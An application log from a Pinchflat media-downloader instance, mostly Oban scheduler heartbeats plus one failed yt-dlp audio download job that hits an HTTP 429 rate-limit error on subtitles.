{"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.288 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:20.387 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:50.388 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.289 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:20.389 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:50.390 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.290 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:20.391 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:50.392 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.291 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:20.393 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:50.394 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.292 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:20.395 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:50.396 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.293 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:20.397 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:50.398 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.294 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:20.399 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:50.400 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.295 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:20.401 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:50.402 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.296 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:20.403 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:50.404 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.297 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:20.405 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:50.406 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.298 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:20.407 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:50.408 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.299 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:20.410 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:50.411 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.300 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:20.412 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:50.413 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.301 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:20.414 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:50.415 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.302 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:20.416 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:50.417 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.304 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:20.418 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:50.419 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.305 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:20.420 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:50.421 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.306 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:20.422 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:50.423 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.307 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:20.424 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:50.425 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.308 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:20.426 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:50.427 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.309 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:20.428 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:50.429 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.310 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:20.430 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:50.431 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.311 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:20.432 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:50.433 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.312 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:20.434 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:50.435 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.313 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:20.436 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:50.437 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.313 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:20.438 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:50.439 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.315 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:20.440 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:50.441 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.316 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:20.442 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:50.443 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.317 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:20.444 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:50.445 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.318 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:20.446 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:50.447 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.319 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:20.448 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:50.449 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.320 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:20.450 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:50.451 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.322 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:20.452 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:50.684 [info] {"args":{"id":21},"id":29,"meta":{},"system_time":1784922410684175761,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:46:50.685 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=935.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 15:46:50.782 [info] User scripts lifecyle file either not present or is empty. Skipping. 15:46:50.783 [info] {"source":"oban","duration":330530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:50.784 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1034.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:46:50.785 [debug] QUERY OK source="media_profiles" db=0.5ms idle=285.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:50.786 [debug] QUERY OK source="media_items" db=0.6ms idle=101.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 15:46:50.794 [debug] QUERY OK source="media_metadata" db=0.4ms idle=109.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [21] 15:46:50.795 [debug] QUERY OK source="media_profiles" db=0.4ms idle=11.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:50.796 [debug] QUERY OK source="settings" db=0.3ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:50.797 [debug] Running yt-dlp command for action: get_downloadable_status 15:46:50.798 [debug] QUERY OK source="settings" db=0.2ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:50.798 [debug] QUERY OK source="settings" db=0.2ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:50.799 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:50.799 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4d/ad/4dad8007d33d9395d19521ab910bb56c7efb32e54960f5008c3512ead98ba3ed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:53.556 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4d/ad/4dad8007d33d9395d19521ab910bb56c7efb32e54960f5008c3512ead98ba3ed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:46:53.556 [debug] Running yt-dlp command for action: download 15:46:53.557 [debug] QUERY OK source="settings" db=0.3ms idle=773.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:53.557 [debug] QUERY OK source="settings" db=0.0ms idle=774.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:53.557 [debug] QUERY OK source="settings" db=0.0ms idle=774.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:53.557 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/47/ba/47ba88f1b14625290650cd57f8d393b254d31baa5fd4060b62b4bcb35fa9849f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:55.867 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/47/ba/47ba88f1b14625290650cd57f8d393b254d31baa5fd4060b62b4bcb35fa9849f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 15:46:55.868 [error] yt-dlp download error for media item #21: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 15:46:56.027 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":21},"id":29,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":5184036,"event":"job:exception","queue_time":37800,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:47:00.323 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:20.785 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:50.787 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.324 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:20.789 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:50.792 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.325 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:20.794 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:50.796 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.326 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:20.798 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:50.800 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.327 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:20.802 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:50.804 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.328 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:20.805 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:50.807 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.329 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:20.809 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:50.812 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.330 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:20.814 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:50.816 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.331 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:20.818 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:50.820 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.332 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:20.822 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:50.824 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.333 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:20.826 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:50.828 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.334 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:20.829 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:50.832 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.335 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:20.833 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:50.835 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.336 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:20.836 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:50.837 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.336 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:20.838 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:50.839 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.338 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:20.841 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:50.842 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.339 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:20.843 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:50.844 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.340 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:20.845 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:50.846 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 